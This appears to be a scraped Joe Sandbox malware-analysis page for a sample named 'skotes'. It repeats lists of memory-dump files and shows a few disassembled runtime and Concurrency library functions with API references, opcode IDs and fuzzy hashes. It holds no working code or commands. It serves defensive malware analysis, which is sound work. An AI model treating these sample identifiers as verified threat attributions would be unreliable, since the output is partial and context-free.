Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Scheduler$ContextThrottling$InternalTimeVirtual$Processor$AssignAvailableBlockedChangeClaimConcurrency::location::_ExerciseFoundH_prolog3_catchNextProcessor::RingSchedulingSpinStartupTicket::TimerUntilWith
String ID:
API String ID: 1475861073-0
Opcode ID: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction ID: 210644ccdfa1d8fcd341c238873fb4243495acd62a7c8e477b715f86d32eda07
Opcode Fuzzy Hash: e5f6ca3cbb7375102534bb9ce9f7030bf6bb821756b29020f3f95bdaa7addcda
Instruction Fuzzy Hash: 3A313830F08B756BCF56AA786492BFE77B79F41300F0401A9D896D7342DA245D8ACBD1

Function 00644C14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00644C98
__alloca_probe_16.LIBCMT ref: 00644D5E
__freea.LIBCMT ref: 00644DCA

Part of subcall function 0063B04B: RtlAllocateHeap.NTDLL(00000000,8FC8FEA1,?,?,0061D3FC,8FC8FEA1,?,00617A8B,?,?,?,?,?,?,00607465,?), ref: 0063B07E

__freea.LIBCMT ref: 00644DD3
__freea.LIBCMT ref: 00644DF6

Strings

Zc,mc, xrefs: 00644C26

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID: Zc,mc
API String ID: 1423051803-1271613949
Opcode ID: 9b18ace835eeca9c7e11c9b3cacab00a1dcebe1387f9574d1cf8109635a6cbdb
Instruction ID: 2b43fdf36f42d535262f83ca42b011c4ab00bf5a9b3f3a58e90b3841848cce75
Opcode Fuzzy Hash: 9b18ace835eeca9c7e11c9b3cacab00a1dcebe1387f9574d1cf8109635a6cbdb
Instruction Fuzzy Hash: 1851C272A00216AFEB255F64DC82FFB36ABDF84754F194129FD04A7251EF30DC518AA4

Function 0062DD18 Relevance: 10.6, APIs: 7, Instructions: 117threadCOMMON

Download Yara Rule

APIs

Concurrency::details::UMS::CreateUmsCompletionList.LIBCONCRT ref: 0062DD91
Concurrency::details::InternalContextBase::ExecutedAssociatedChore.LIBCONCRT ref: 0062DDAE
Concurrency::details::InternalContextBase::WorkWasFound.LIBCONCRT ref: 0062DE14
Concurrency::details::InternalContextBase::ExecuteChoreInline.LIBCMT ref: 0062DE29
Concurrency::details::InternalContextBase::WaitForWork.LIBCONCRT ref: 0062DE3B
Concurrency::details::InternalContextBase::CleanupDispatchedContextOnCancel.LIBCMT ref: 0062DE4B
Concurrency::details::UMS::GetCurrentUmsThread.LIBCONCRT ref: 0062DE74

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: fbf32189aadb64d33ec230b6511ee92278e7b331d1550149304dbe78cffb14d6
Instruction ID: 13360e9e13ff463b0bb2d64319350141dd82c32880672b7c57a388aa952b6edf
Opcode Fuzzy Hash: fbf32189aadb64d33ec230b6511ee92278e7b331d1550149304dbe78cffb14d6
Instruction Fuzzy Hash: 9B41BE30A04A649ADF94FBA0A4557EC77676F11300F1844ADE8816F3C3CB358E09CF6A

Function 0062E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 0062E7D7

Part of subcall function 0062E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0062E577
Part of subcall function 0062E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 0062E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 0062E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 0062E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 0062E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 0062E879
Concurrency::location::_Assign.LIBCMT ref: 0062E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 0062E8B5

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 27000fe145fe2c9386f2cd15cee087fcc30f86e5b0675d7706596ca31f4a7403
Instruction ID: 40a3887f963a7c578bcae6112815877c525c58fc84a1ac0dcb2cc0f0f90d57fb
Opcode Fuzzy Hash: 27000fe145fe2c9386f2cd15cee087fcc30f86e5b0675d7706596ca31f4a7403
Instruction Fuzzy Hash: 1D414A35A00214EFCF44EF64D494AADB7B6FF48310F1880A9DD49AB382DB34A941CFA1

Function 00616E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00616ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00616F22
std::_Rethrow_future_exception.LIBCPMT ref: 00616F32
__Mtx_unlock.LIBCPMT ref: 00616FD5
__Mtx_unlock.LIBCPMT ref: 006170DB
__Mtx_unlock.LIBCPMT ref: 00617116

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
